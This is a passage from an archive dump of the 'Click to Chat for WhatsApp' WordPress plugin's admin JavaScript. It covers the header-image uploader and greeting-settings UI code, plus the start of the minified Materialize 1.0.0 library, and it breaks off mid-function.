                if (mediaUploader) {
                    mediaUploader.open();
                    return;
                }
                mediaUploader = wp.media.frames.file_frame = wp.media({
                    title: 'Select Header Image',
                    button: {
                        text: 'Select'
                    },
                    multiple: false
                });
                mediaUploader.on('select', function () {

                    attachment = mediaUploader.state().get('selection').first().toJSON();
                    console.log(attachment);

                    // if closed with out selecting image
                    if (typeof attachment == 'undefined') return true;

                    image_url = attachment.url;
                    $('.g_header_image').val(image_url);
                    $('.g_header_image_preview').attr('src', image_url);
                    $('.g_header_image_preview').show();
                    $('.ctc_remove_image_wp').show();
                    header_image_badge();
                });
                mediaUploader.open();
            });

            $('.ctc_remove_image_wp').on('click', function (e) {
                e.preventDefault();
                $('.g_header_image').val('');
                $('.g_header_image_preview').hide();
                $('.ctc_remove_image_wp').hide();
                header_image_badge();
                return;
            });

            function header_image_badge() {

                // pr_g_header_online_badge display only if header image is set
                console.log($('.g_header_image').val());
                if ($('.g_header_image').val() == '') {
                    $('.row_g_header_online_status').hide();
                    $('.row_g_header_online_status_color').hide();
                    console.log('hide');
                } else {
                    $('.row_g_header_online_status').show();
                    // if g_header_online_status is checked.
                    if ($('.g_header_online_status').is(':checked')) {
                        $('.row_g_header_online_status_color').show();
                    } else {
                        $('.row_g_header_online_status_color').hide();
                    }
                    console.log('show');
                }
            }
            header_image_badge();

            // on change g_header_online_status
            $('.g_header_online_status').on('change', function () {
                console.log('on change g_header_online_status');
                if ($('.g_header_online_status').is(':checked')) {
                    console.log('g_header_online_status checked');
                    $('.row_g_header_online_status_color').show();
                } else {
                    console.log('g_header_online_status unchecked');
                    $('.row_g_header_online_status_color').hide();
                }
            });


        }
        greetings_header_image();




        /**
         * tinymce editor
         * only on greetings, woo pages
         *  bg color
         */
        function editor() {
            var check = 1;
            var check_interval = 1000;
            var check_times = 28; // ( check_times * check_interval = total milliseconds )

            function tiny_bg() {
                if (document.getElementById("header_content_ifr")) {
                    try {
                        tiny_bg_color();
                    } catch (e) { }
                } else {
                    check++;
                    if (check < check_times) {
                        setTimeout(tiny_bg, check_interval);
                    }
                }
            }
            // also calls from setTimeout....
            tiny_bg();

            function tiny_bg_color() {
                var i = document.querySelectorAll(".ctc_wp_editor iframe");
                i.forEach(e => {
                    var elmnt = e.contentWindow.document.getElementsByTagName("body")[0];
                    elmnt.style.backgroundColor = "#26a69a";
                });
            }
        }


    });


})(jQuery);click-to-chat-for-whatsapp/new/admin/admin_assets/js/greetings.js000064400000005634147510273110021104 0ustar00!function(e){e((function(){if(document.querySelector(".pr_greetings_template"))try{!function(){var t=e(".pr_greetings_template select").find(":selected").val();"no"==t||""==t?e(".g_content_collapsible").hide():e(".g_content_collapsible").show();"greetings-1"==t&&(e(".ctc_greetings_settings.ctc_g_1").show(),e(".pr_ht_ctc_greetings_1").show(),e(".pr_ht_ctc_greetings_settings").show(),e(".ctc_greetings_notes").show(),_());"greetings-2"==t&&(e(".ctc_greetings_settings.ctc_g_2").show(),e(".pr_ht_ctc_greetings_2").show(),e(".pr_ht_ctc_greetings_settings").show(),e(".ctc_greetings_notes").show(),_());function _(){e(".is_opt_in").is(":checked")?e(".pr_opt_in ").show(200):e(".pr_opt_in ").hide(200)}e(".pr_greetings_template select").on("change",(function(t){var n=t.target.value;"no"==n?(e(".g_content_collapsible").hide(100),e(" .ctc_greetings_settings").hide()):(e(".g_content_collapsible").show(),"greetings-2"!=n&&"greetings-1"!=n||e(" .ctc_greetings_settings").hide(),e(".ctc_greetings_notes").show(),"greetings-1"==n&&(e(".ctc_greetings_settings.ctc_g_1").show(100),e(".pr_ht_ctc_greetings_1").show(100),_()),"greetings-2"==n&&(e(".ctc_greetings_settings.ctc_g_2").show(100),e(".pr_ht_ctc_greetings_2").show(100),_()),e(".pr_ht_ctc_greetings_settings").show())})),e(".is_opt_in").on("change",(function(e){_()}))}()}catch(e){}if(document.querySelector(".ctc-admin-greetings-page")||document.querySelector(".ctc-admin-woo-page"))try{!function(){var e=1,t=1e3,_=28;function n(){if(document.getElementById("header_content_ifr"))try{c()}catch(e){}else++e<_&&setTimeout(n,t)}function c(){document.querySelectorAll(".ctc_wp_editor iframe").forEach((e=>{e.contentWindow.document.getElementsByTagName("body")[0].style.backgroundColor="#26a69a"}))}n()}()}catch(e){}!function(){var t;function _(){""==e(".g_header_image").val()?(e(".row_g_header_online_status").hide(),e(".row_g_header_online_status_color").hide()):(e(".row_g_header_online_status").show(),e(".g_header_online_status").is(":checked")?e(".row_g_header_online_status_color").show():e(".row_g_header_online_status_color").hide())}e(".ctc_add_image_wp").on("click",(function(n){n.preventDefault(),t||(t=wp.media.frames.file_frame=wp.media({title:"Select Header Image",button:{text:"Select"},multiple:!1})).on("select",(function(){if(attachment=t.state().get("selection").first().toJSON(),"undefined"==typeof attachment)return!0;image_url=attachment.url,e(".g_header_image").val(image_url),e(".g_header_image_preview").attr("src",image_url),e(".g_header_image_preview").show(),e(".ctc_remove_image_wp").show(),_()})),t.open()})),e(".ctc_remove_image_wp").on("click",(function(t){t.preventDefault(),e(".g_header_image").val(""),e(".g_header_image_preview").hide(),e(".ctc_remove_image_wp").hide(),_()})),_(),e(".g_header_online_status").on("change",(function(){e(".g_header_online_status").is(":checked")?e(".row_g_header_online_status_color").show():e(".row_g_header_online_status_color").hide()}))}()}))}(jQuery);click-to-chat-for-whatsapp/new/admin/admin_assets/js/materialize.min.js000064400000541324147510273110022206 0ustar00// v1.0.0
var _get=function t(e,i,n){null===e&&(e=Function.prototype);var s=Object.getOwnPropertyDescriptor(e,i);if(void 0===s){var o=Object.getPrototypeOf(e);return null===o?void 0:t(o,i,n)}if("value"in s)return s.value;var a=s.get;return void 0!==a?a.call(n):void 0},_createClass=function(){function n(t,e){for(var i=0;i<e.length;i++){var n=e[i];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(t,n.key,n)}}return function(t,e,i){return e&&n(t.prototype,e),i&&n(t,i),t}}();function _possibleConstructorReturn(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function _inherits(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function _classCallCheck(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}window.cash=function(){var i,o=document,a=window,t=Array.prototype,r=t.slice,n=t.filter,s=t.push,e=function(){},h=function(t){return typeof t==typeof e&&t.call},d=function(t){return"string"==typeof t},l=/^#[\w-]*$/,u=/^\.[\w-]*$/,c=/<.+>/,p=/^\w+$/;function v(t,e){e=e||o;var i=u.test(t)?e.getElementsByClassName(t.slice(1)):p.test(t)?e.getElementsByTagName(t):e.querySelectorAll(t);return i}function f(t){if(!i){var e=(i=o.implementation.createHTMLDocument(null)).createElement("base");e.href=o.location.href,i.head.appendChild(e)}return i.body.innerHTML=t,i.body.childNodes}function m(t){"loading"!==o.readyState?t():o.addEventListener("DOMContentLoaded",t)}function g(t,e){if(!t)return this;if(t.cash&&t!==a)return t;var i,n=t,s=0;if(d(t))n=l.test(t)?o.getElementById(t.slice(1)):c.test(t)?f(t):v(t,e);else if(h(t))return m(t),this;if(!n)return this;if(n.nodeType||n===a)this[0]=n,this.length=1;else for(i=this.length=n.length;s<i;s++)this[s]=n[s];return this}function _(t,e){return new g(t,e)}var y=_.fn=_.prototype=g.prototype={cash:!0,length:0,push:s,splice:t.splice,map:t.map,init:g};function k(t,e){for(var i=t.length,n=0;n<i&&!1!==e.call(t[n],t[n],n,t);n++);}function b(t,e){var i=t&&(t.matches||t.webkitMatchesSelector||t.mozMatchesSelector||t.msMatchesSelector||t.oMatchesSelector);return!!i&&i.call(t,e)}function w(e){return d(e)?b:e.cash?function(t){return e.is(t)}:function(t,e){return t===e}}function C(t){return _(r.call(t).filter(function(t,e,i){return i.indexOf(t)===e}))}Object.defineProperty(y,"constructor",{value:_}),_.parseHTML=f,_.noop=e,_.isFunction=h,_.isString=d,_.extend=y.extend=function(t){t=t||{};var e=r.call(arguments),i=e.length,n=1;for(1===e.length&&(t=this,n=0);n<i;n++)if(e[n])for(var s in e[n])e[n].hasOwnProperty(s)&&(t[s]=e[n][s]);return t},_.extend({merge:function(t,e){for(var i=+e.length,n=t.length,s=0;s<i;n++,s++)t[n]=e[s];return t.length=n,t},each:k,matches:b,unique:C,isArray:Array.isArray,isNumeric:function(t){return!isNaN(parseFloat(t))&&isFinite(t)}});var E=_.uid="_cash"+Date.now();function M(t){return t[E]=t[E]||{}}function O(t,e,i){return M(t)[e]=i}function x(t,e){var i=M(t);return void 0===i[e]&&(i[e]=t.dataset?t.dataset[e]:_(t).attr("data-"+e)),i[e]}y.extend({data:function(e,i){if(d(e))return void 0===i?x(this[0],e):this.each(function(t){return O(t,e,i)});for(var t in e)this.data(t,e[t]);return this},removeData:function(s){return this.each(function(t){return i=s,void((n=M(e=t))?delete n[i]:e.dataset?delete e.dataset[i]:_(e).removeAttr("data-"+name));var e,i,n})}});var L=/\S+/g;function T(t){return d(t)&&t.match(L)}function $(t,e){return t.classList?t.classList.contains(e):new RegExp("(^| )"+e+"( |$)","gi").test(t.className)}function B(t,e,i){t.classList?t.classList.add(e):i.indexOf(" "+e+" ")&&(t.className+=" "+e)}function D(t,e){t.classList?t.classList.remove(e):t.className=t.className.replace(e,"")}y.extend({addClass:function(t){var n=T(t);return n?this.each(function(e){var i=" "+e.className+" ";k(n,function(t){B(e,t,i)})}):this},attr:function(e,i){if(e){if(d(e))return void 0===i?this[0]?this[0].getAttribute?this[0].getAttribute(e):this[0][e]:void 0:this.each(function(t){t.setAttribute?t.setAttribute(e,i):t[e]=i});for(var t in e)this.attr(t,e[t]);return this}},hasClass:function(t){var e=!1,i=T(t);return i&&i.length&&this.each(function(t){return!(e=$(t,i[0]))}),e},prop:function(e,i){if(d(e))return void 0===i?this[0][e]:this.each(function(t){t[e]=i});for(var t in e)this.prop(t,e[t]);return this},removeAttr:function(e){return this.each(function(t){t.removeAttribute?t.removeAttribute(e):delete t[e]})},removeClass:function(t){if(!arguments.length)return this.attr("class","");var i=T(t);return i?this.each(function(e){k(i,function(t){D(e,t)})}):this},removeProp:function(e){return this.each(function(t){delete t[e]})},toggleClass:function(t,e){if(void 0!==e)return this[e?"addClass":"removeClass"](t);var n=T(t);return n?this.each(function(e){var i=" "+e.className+" ";k(n,function(t){$(e,t)?D(e,t):B(e,t,i)})}):this}}),y.extend({add:function(t,e){return C(_.merge(this,_(t,e)))},each:function(t){return k(this,t),this},eq:function(t){return _(this.get(t))},filter:function(e){if(!e)return this;var i=h(e)?e:w(e);return _(n.call(this,function(t){return i(t,e)}))},first:function(){return this.eq(0)},get:function(t){return void 0===t?r.call(this):t<0?this[t+this.length]:this[t]},index:function(t){var e=t?_(t)[0]:this[0],i=t?this:_(e).parent().children();return r.call(i).indexOf(e)},last:function(){return this.eq(-1)}});var S,I,A,R,H,P,W=(H=/(?:^\w|[A-Z]|\b\w)/g,P=/[\s-_]+/g,function(t){return t.replace(H,function(t,e){return t[0===e?"toLowerCase":"toUpperCase"]()}).replace(P,"")}),j=(S={},I=document,A=I.createElement("div"),R=A.style,function(e){if(e=W(e),S[e])return S[e];var t=e.charAt(0).toUpperCase()+e.slice(1),i=(e+" "+["webkit","moz","ms","o"].join(t+" ")+t).split(" ");return k(i,function(t){if(t in R)return S[t]=e=S[e]=t,!1}),S[e]});function F(t,e){return parseInt(a.getComputedStyle(t[0],null)[e],10)||0}function q(e,i,t){var n,s=x(e,"_cashEvents"),o=s&&s[i];o&&(t?(e.removeEventListener(i,t),0<=(n=o.indexOf(t))&&o.splice(n,1)):(k(o,function(t){e.removeEventListener(i,t)}),o=[]))}function N(t,e){return"&"+encodeURIComponent(t)+"="+encodeURIComponent(e).replace(/%20/g,"+")}function z(t){var e,i,n,s=t.type;if(!s)return null;switch(s.toLowerCase()){case"select-one":return 0<=(n=(i=t).selectedIndex)?i.options[n].value:null;case"select-multiple":return e=[],k(t.options,function(t){t.selected&&e.push(t.value)}),e.length?e:null;case"radio":case"checkbox":return t.checked?t.value:null;default:return t.value?t.value:null}}function V(e,i,n){var t=d(i);t||!i.length?k(e,t?function(t){return t.insertAdjacentHTML(n?"afterbegin":"beforeend",i)}:function(t,e){return function(t,e,i){if(i){var n=t.childNodes[0];t.insertBefore(e,n)}else t.appendChild(e)}(t,0===e?i:i.cloneNode(!0),n)}):k(i,function(t){return V(e,t,n)})}_.prefixedProp=j,_.camelCase=W,y.extend({css:function(e,i){if(d(e))return e=j(e),1<arguments.length?this.each(function(t){return t.style[e]=i}):a.getComputedStyle(this[0])[e];for(var t in e)this.css(t,e[t]);return this}}),k(["Width","Height"],function(e){var t=e.toLowerCase();y[t]=function(){return this[0].getBoundingClientRect()[t]},y["inner"+e]=function(){return this[0]["client"+e]},y["outer"+e]=function(t){return this[0]["offset"+e]+(t?F(this,"margin"+("Width"===e?"Left":"Top"))+F(this,"margin"+("Width"===e?"Right":"Bottom")):0)}}),y.extend({off:function(e,i){return this.each(function(t){return q(t,e,i)})},on:function(a,i,r,l){var n;if(!d(a)){for(var t in a)this.on(t,i,a[t]);return this}return h(i)&&(r=i,i=null),"ready"===a?(m(r),this):(i&&(n=r,r=function(t){for(var e=t.target;!b(e,i);){if(e===this||null===e)return e=!1;e=e.parentNode}e&&n.call(e,t)}),this.each(function(t){var e,i,n,s,o=r;l&&(o=function(){r.apply(this,arguments),q(t,a,o)}),i=a,n=o,(s=x(e=t,"_cashEvents")||O(e,"_cashEvents",{}))[i]=s[i]||[],s[i].push(n),e.addEventListener(i,n)}))},one:function(t,e,i){return this.on(t,e,i,!0)},ready:m,trigger:function(t,e){if(document.createEvent){var i=document.createEvent("HTMLEvents");return i.initEvent(t,!0,!1),i=this.extend(i,e),this.each(function(t){return t.dispatchEvent(i)})}}}),y.extend({serialize:function(){var s="";return k(this[0].elements||this,function(t){if(!t.disabled&&"FIELDSET"!==t.tagName){var e=t.name;switch(t.type.toLowerCase()){case"file":case"reset":case"submit":case"button":break;case"select-multiple":var i=z(t);null!==i&&k(i,function(t){s+=N(e,t)});break;default:var n=z(t);null!==n&&(s+=N(e,n))}}}),s.substr(1)},val:function(e){return void 0===e?z(this[0]):this.each(function(t){return t.value=e})}}),y.extend({after:function(t){return _(t).insertAfter(this),this},append:function(t){return V(this,t),this},appendTo:function(t){return V(_(t),this),this},before:function(t){return _(t).insertBefore(this),this},clone:function(){return _(this.map(function(t){return t.cloneNode(!0)}))},empty:function(){return this.html(""),this},html:function(t){if(void 0===t)return this[0].innerHTML;var e=t.nodeType?t[0].outerHTML:t;return this.each(function(t){return t.innerHTML=e})},insertAfter:function(t){var s=this;return _(t).each(function(t,e){var i=t.parentNode,n=t.nextSibling;s.each(function(t){i.insertBefore(0===e?t:t.cloneNode(!0),n)})}),this},insertBefore:function(t){var s=this;return _(t).each(function(e,i){var n=e.parentNode;s.each(function(t){n.insertBefore(0===i?t:t.cloneNode(!0),e)})}),this},prepend:function(t){return V(this,t,!0),this},prependTo:function(t){return V(_(t),this,!0),this},remove:function(){return this.each(function(t){if(t.parentNode)return t.parentNode.removeChild(t)})},text:function(e){return void 0===e?this[0].textContent:this.each(function(t){return t.textContent=e})}});var X=o.documentElement;return y.extend({position:function(){var t=this[0];return{left:t.offsetLeft,top:t.offsetTop}},offset:function(){var t=this[0].getBoundingClientRect();return{top:t.top+a.pageYOffset-X.clientTop,left:t.left+a.pageXOffset-X.clientLeft}},offsetParent:function(){return _(this[0].offsetParent)}}),y.extend({children:function(e){var i=[];return this.each(function(t){s.apply(i,t.children)}),i=C(i),e?i.filter(function(t){return b(t,e)}):i},closest:function(t){return!t||this.length<1?_():this.is(t)?this.filter(t):this.parent().closest(t)},is:function(e){if(!e)return!1;var i=!1,n=w(e);return this.each(function(t){return!(i=n(t,e))}),i},find:function(e){if(!e||e.nodeType)return _(e&&this.has(e).length?e:null);var i=[];return this.each(function(t){s.apply(i,v(e,t))}),C(i)},has:function(e){var t=d(e)?function(t){return 0!==v(e,t).length}:function(t){return t.contains(e)};return this.filter(t)},next:function(){return _(this[0].nextElementSibling)},not:function(e){if(!e)return this;var i=w(e);return this.filter(function(t){return!i(t,e)})},parent:function(){var e=[];return this.each(function(t){t&&t.parentNode&&e.push(t.parentNode)}),C(e)},parents:function(e){var i,n=[];return this.each(function(t){for(i=t;i&&i.parentNode&&i!==o.body.parentNode;)i=i.parentNode,(!e||e&&b(i,e))&&n.push(i)}),C(n)},prev:function(){return _(this[0].previousElementSibling)},siblings:function(t){var e=this.parent().children(t),i=this[0];return e.filter(function(t){return t!==i})}}),_}();var Component=function(){function s(t,e,i){_classCallCheck(this,s),e instanceof Element||console.error(Error(e+" is not an HTML Element"));var n=t.getInstance(e);n&&n.destroy(),this.el=e,this.$el=cash(e)}return _createClass(s,null,[{key:"init",value:function(t,e,i){var n=null;if(e instanceof Element)n=new t(e,i);else if(e&&(e.jquery||e.cash||e instanceof NodeList)){for(var s=[],o=0;o<e.length;o++)s.push(new t(e[o],i));n=s}return n}}]),s}();!function(t){t.Package?M={}:t.M={},M.jQueryLoaded=!!t.jQuery}(window),"function"==typeof define&&define.amd?define("M",[],function(){return M}):"undefined"==typeof exports||exports.nodeType||("undefined"!=typeof module&&!module.nodeType&&module.exports&&(exports=module.exports=M),exports.default=M),M.version="1.0.0",M.keys={TAB:9,ENTER:13,ESC:27,ARROW_UP:38,ARROW_DOWN:40},M.tabPressed=!1,M.keyDown=!1;var docHandleKeydown=function(t){M.keyDown=!0,t.which!==M.keys.TAB&&t.which!==M.keys.ARROW_DOWN&&t.which!==M.keys.ARROW_UP||(M.tabPressed=!0)},docHandleKeyup=function(t){M.keyDown=!1,t.which!==M.keys.TAB&&t.which!==M.keys.ARROW_DOWN&&t.which!==M.keys.ARROW_UP||(M.tabPressed=!1)},docHandleFocus=function(t){M.keyDown&&document.body.classList.add("keyboard-focused")},docHandleBlur=function(t){document.body.classList.remove("keyboard-focused")};document.addEventListener("keydown",docHandleKeydown,!0),document.addEventListener("keyup",docHandleKeyup,!0),document.addEventListener("focus",docHandleFocus,!0),document.addEventListener("blur",docHandleBlur,!0),M.initializeJqueryWrapper=function(n,s,o){jQuery.fn[s]=function(e){if(n.prototype[e]){var i=Array.prototype.slice.call(arguments,1);if("get"===e.slice(0,3)){var t=this.first()[0][o];return t[e].apply(t,i)}return this.each(function(){var t=this[o];t[e].apply(t,i)})}if("object"==typeof e||!e)return n.init(this,e),this;
// jQuery.error("Method "+e+" does not exist on jQuery."+s)
}},M.AutoInit=function(t){var e=t||document.body,i={Autocomplete:e.querySelectorAll(".autocomplete:not(.no-autoinit)"),Carousel:e.querySelectorAll(".carousel:not(.no-autoinit)"),Chips:e.querySelectorAll(".chips:not(.no-autoinit)"),Collapsible:e.querySelectorAll(".collapsible:not(.no-autoinit)"),Datepicker:e.querySelectorAll(".datepicker:not(.no-autoinit)"),Dropdown:e.querySelectorAll(".dropdown-trigger:not(.no-autoinit)"),Materialbox:e.querySelectorAll(".materialboxed:not(.no-autoinit)"),Modal:e.querySelectorAll(".modal:not(.no-autoinit)"),Parallax:e.querySelectorAll(".parallax:not(.no-autoinit)"),Pushpin:e.querySelectorAll(".pushpin:not(.no-autoinit)"),ScrollSpy:e.querySelectorAll(".scrollspy:not(.no-autoinit)"),FormSelect:e.querySelectorAll("select:not(.no-autoinit)"),Sidenav:e.querySelectorAll(".sidenav:not(.no-autoinit)"),Tabs:e.querySelectorAll(".tabs:not(.no-autoinit)"),TapTarget:e.querySelectorAll(".tap-target:not(.no-autoinit)"),Timepicker:e.querySelectorAll(".timepicker:not(.no-autoinit)"),Tooltip:e.querySelectorAll(".tooltipped:not(.no-autoinit)"),FloatingActionButton:e.querySelectorAll(".fixed-action-btn:not(.no-autoinit)")};for(var n in i){M[n].init(i[n])}},M.objectSelectorString=function(t){return((t.prop("tagName")||"")+(t.attr("id")||"")+(t.attr("class")||"")).replace(/\s/g,"")},M.guid=function(){function t(){return Math.floor(65536*(1+Math.random())).toString(16).substring(1)}return function(){return t()+t()+"-"+t()+"-"+t()+"-"+t()+"-"+t()+t()+t()}}(),M.escapeHash=function(t){return t.replace(/(:|\.|\[|\]|,|=|\/)/g,"\\$1")},M.elementOrParentIsFixed=function(t){var e=$(t),i=e.add(e.parents()),n=!1;return i.each(function(){if("fixed"===$(this).css("position"))return!(n=!0)}),n},M.checkWithinContainer=function(t,e,i){var n={top:!1,right:!1,bottom:!1,left:!1},s=t.getBoundingClientRect(),o=t===document.body?Math.max(s.bottom,window.innerHeight):s.bottom,a=t.scrollLeft,r=t.scrollTop,l=e.left-a,h=e.top-r;return(l<s.left+i||l<i)&&(n.left=!0),(l+e.width>s.right-i||l+e.width>window.innerWidth-i)&&(n.right=!0),(h<s.top+i||h<i)&&(n.top=!0),(h+e.height>o-i||h+e.height>window.innerHeight-i)&&(n.bottom=!0),n},M.checkPossibleAlignments=function(t,e,i,n){var s={top:!0,right:!0,bottom:!0,left:!0,spaceOnTop:null,spaceOnRight:null,spaceOnBottom:null,spaceOnLeft:null},o="visible"===getComputedStyle(e).overflow,a=e.getBoundingClientRect(),r=Math.min(a.height,window.innerHeight),l=Math.min(a.width,window.innerWidth),h=t.getBoundingClientRect(),d=e.scrollLeft,u=e.scrollTop,c=i.left-d,p=i.top-u,v=i.top+h.height-u;return s.spaceOnRight=o?window.innerWidth-(h.left+i.width):l-(c+i.width),s.spaceOnRight<0&&(s.left=!1),s.spaceOnLeft=o?h.right-i.width:c-i.width+h.width,s.spaceOnLeft<0&&(s.right=!1),s.spaceOnBottom=o?window.innerHeight-(h.top+i.height+n):r-(p+i.height+n),s.spaceOnBottom<0&&(s.top=!1),s.spaceOnTop=o?h.bottom-(i.height+n):v-(i.height-n),s.spaceOnTop<0&&(s.bottom=!1),s},M.getOverflowParent=function(t){return null==t?null:t===document.body||"visible"!==getComputedStyle(t).overflow?t:M.getOverflowParent(t.parentElement)},M.getIdFromTrigger=function(t){var e=t.getAttribute("data-target");return e||(e=(e=t.getAttribute("href"))?e.slice(1):""),e},M.getDocumentScrollTop=function(){return window.pageYOffset||document.documentElement.scrollTop||document.body.scrollTop||0},M.getDocumentScrollLeft=function(){return window.pageXOffset||document.documentElement.scrollLeft||document.body.scrollLeft||0};var getTime=Date.now||function(){return(new Date).getTime()};M.throttle=function(i,n,s){var o=void 0,a=void 0,r=void 0,l=null,h=0;s||(s={});var d=function(){h=!1===s.leading?0:getTime(),l=null,r=i.apply(o,a),o=a=null};return function(){var t=getTime();h||!1!==s.leading||(h=t);var e=n-(t-h);return o=this,a=arguments,e<=0?(clearTimeout(l),l=null,h=t,r=i.apply(o,a),o=a=null):l||!1===s.trailing||(l=setTimeout(d,e)),r}};var $jscomp={scope:{}};$jscomp.defineProperty="function"==typeof Object.defineProperties?Object.defineProperty:function(t,e,i){if(i.get||i.set)throw new TypeError("ES3 does not support getters and setters.");t!=Array.prototype&&t!=Object.prototype&&(t[e]=i.value)},$jscomp.getGlobal=function(t){return"undefined"!=typeof window&&window===t?t:"undefined"!=typeof global&&null!=global?global:t},$jscomp.global=$jscomp.getGlobal(this),$jscomp.SYMBOL_PREFIX="jscomp_symbol_",$jscomp.initSymbol=function(){$jscomp.initSymbol=function(){},$jscomp.global.Symbol||($jscomp.global.Symbol=$jscomp.Symbol)},$jscomp.symbolCounter_=0,$jscomp.Symbol=function(t){return $jscomp.SYMBOL_PREFIX+(t||"")+$jscomp.symbolCounter_++},$jscomp.initSymbolIterator=function(){$jscomp.initSymbol();var t=$jscomp.global.Symbol.iterator;t||(t=$jscomp.global.Symbol.iterator=$jscomp.global.Symbol("iterator")),"function"!=typeof Array.prototype[t]&&$jscomp.defineProperty(Array.prototype,t,{configurable:!0,writable:!0,value:function(){return $jscomp.arrayIterator(this)}}),$jscomp.initSymbolIterator=function(){}},$jscomp.arrayIterator=function(t){var e=0;return $jscomp.iteratorPrototype(function(){return e<t.length?{done:!1,value:t[e++]}:{done:!0}})},$jscomp.iteratorPrototype=function(t){return $jscomp.initSymbolIterator(),(t={next:t})[$jscomp.global.Symbol.iterator]=function(){return this},t},$jscomp.array=$jscomp.array||{},$jscomp.iteratorFromArray=function(e,i){$jscomp.initSymbolIterator(),e instanceof String&&(e+="");var n=0,s={next:function(){if(n<e.length){var t=n++;return{value:i(t,e[t]),done:!1}}return s.next=function(){return{done:!0,value:void 0}},s.next()}};return s[Symbol.iterator]=function(){return s},s},$jscomp.polyfill=function(t,e,i,n){if(e){for(i=$jscomp.global,t=t.split("."),n=0;n<t.length-1;n++){var s=t[n];s in i||(i[s]={}),i=i[s]}(e=e(n=i[t=t[t.length-1]]))!=n&&null!=e&&$jscomp.defineProperty(i,t,{configurable:!0,writable:!0,value:e})}},$jscomp.polyfill("Array.prototype.keys",function(t){return t||function(){return $jscomp.iteratorFromArray(this,function(t){return t})}},"es6-impl","es3");var $jscomp$this=this;M.anime=function(){function s(t){if(!B.col(t))try{return document.querySelectorAll(t)}catch(t){}}function b(t,e){for(var i=t.length,n=2<=arguments.length?e:void 0,s=[],o=0;o<i;o++)if(o in t){var a=t[o];e.call(n,a,o,t)&&s.push(a)}return s}function d(t){return t.reduce(function(t,e){return t.concat(B.arr(e)?d(e):e)},[])}function o(t){return B.arr(t)?t:(B.str(t)&&(t=s(t)||t),t instanceof NodeList||t instanceof HTMLCollection?[].slice.call(t):[t])}function a(t,e){return t.some(function(t){return t===e})}function r(t){var e,i={};for(e in t)i[e]=t[e];return i}function u(t,e){var i,n=r(t);for(i in t)n[i]=e.hasOwnProperty(i)?e[i]:t[i];return n}function c(t,e){var i,n=r(t);for(i in e)n[i]=B.und(t[i])?e[i]:t[i];return n}function l(t){if(t=/([\+\-]?[0-9#\.]+)(%|px|pt|em|rem|in|cm|mm|ex|ch|pc|vw|vh|vmin|vmax|deg|rad|turn)?$/.exec(t))return t[2]}function h(t,e){return B.fnc(t)?t(e.target,e.id,e.total):t}function w(t,e){if(e in t.style)return getComputedStyle(t).getPropertyValue(e.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase())||"0"}function p(t,e){return B.dom(t)&&a($,e)?"transform":B.dom(t)&&(t.getAttribute(e)||B.svg(t)&&t[e])?"attribute":B.dom(t)&&"transform"!==e&&w(t,e)?"css":null!=t[e]?"object":void 0}function v(t,e){switch(p(t,e)){case"transform":return function(t,i){var e,n=-1<(e=i).indexOf("translate")||"perspective"===e?"px":-1<e.indexOf("rotate")||-1<e.indexOf("skew")?"deg":void 0,n=-1<i.indexOf("scale")?1:0+n;if(!(t=t.style.transform))return n;for(var s=[],o=[],a=[],r=/(\w+)\((.+?)\)/g;s=r.exec(t);)o.push(s[1]),a.push(s[2]);return(t=b(a,function(t,e){return o[e]===i})).length?t[0]:n}(t,e);case"css":return w(t,e);case"attribute":return t.getAttribute(e)}return t[e]||0}function f(t,e){var i=/^(\*=|\+=|-=)/.exec(t);if(!i)return t;var n=l(t)||0;switch(e=parseFloat(e),t=parseFloat(t.replace(i[0],"")),i[0][0]){case"+":return e+t+n;case"-":return e-t+n;case"*":return e*t+n}}function m(t,e){return Math.sqrt(Math.pow(e.x-t.x,2)+Math.pow(e.y-t.y,2))}function i(t){t=t.points;for(var e,i=0,n=0;n<t.numberOfItems;n++){var s=t.getItem(n);0<n&&(i+=m(e,s)),e=s}return i}function g(t){if(t.getTotalLength)return t.getTotalLength();switch(t.tagName.toLowerCase()){case"circle":return 2*Math.PI*t.getAttribute("r");case"rect":return 2*t.getAttribute("width")+2*t.getAttribute("height");case"line":return m({x:t.getAttribute("x1"),y:t.getAttribute("y1")},{x:t.getAttribute("x2"),y:t.getAttribute("y2")});case"polyline":return i(t);case"polygon":var e=t.points;return i(t)+m(e.getItem(e.numberOfItems-1),e.getItem(0))}}function C(e,i){function t(t){return t=void 0===t?0:t,e.el.getPointAtLength(1<=i+t?i+t:0)}var n=t(),s=t(-1),o=t(1);switch(e.property){case"x":return n.x;case"y":return n.y;case"angle":return 180*Math.atan2(o.y-s.y,o.x-s.x)/Math.PI}}function _(t,e){var i,n=/-?\d*\.?\d+/g;if(i=B.pth(t)?t.totalLength:t,B.col(i))if(B.rgb(i)){var s=/rgb\((\d+,\s*[\d]+,\s*[\d]+)\)/g.exec(i);i=s?"rgba("+s[1]+",1)":i}else i=B.hex(i)?function(t){t=t.replace(/^#?([a-f\d])([a-f\d])([a-f\d])$/i,function(t,e,i,n){return e+e+i+i+n+n});var e=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(t);t=parseInt(e[1],16);var i=parseInt(e[2],16),e=parseInt(e[3],16);return"rgba("+t+","+i+","+e+",1)"}(i):B.hsl(i)?function(t){function e(t,e,i){return i<0&&(i+=1),1<i&&--i,i<1/6?t+6*(e-t)*i:i<.5?e:i<2/3?t+(e-t)*(2/3-i)*6:t}var i=/hsl\((\d+),\s*([\d.]+)%,\s*([\d.]+)%\)/g.exec(t)||/hsla\((\d+),\s*([\d.]+)%,\s*([\d.]+)%,\s*([\d.]+)\)/g.exec(t);t=parseInt(i[1])/360;var n=parseInt(i[2])/100,s=parseInt(i[3])/100,i=i[4]||1;if(0==n)s=n=t=s;else{var o=s<.5?s*(1+n):s+n-s*n,a=2*s-o,s=e(a,o,t+1/3),n=e(a,o,t);t=e(a,o,t-1/3)}return"rgba("+255*s+","+255*n+","+255*t+","+i+")"}(i):void 0;else 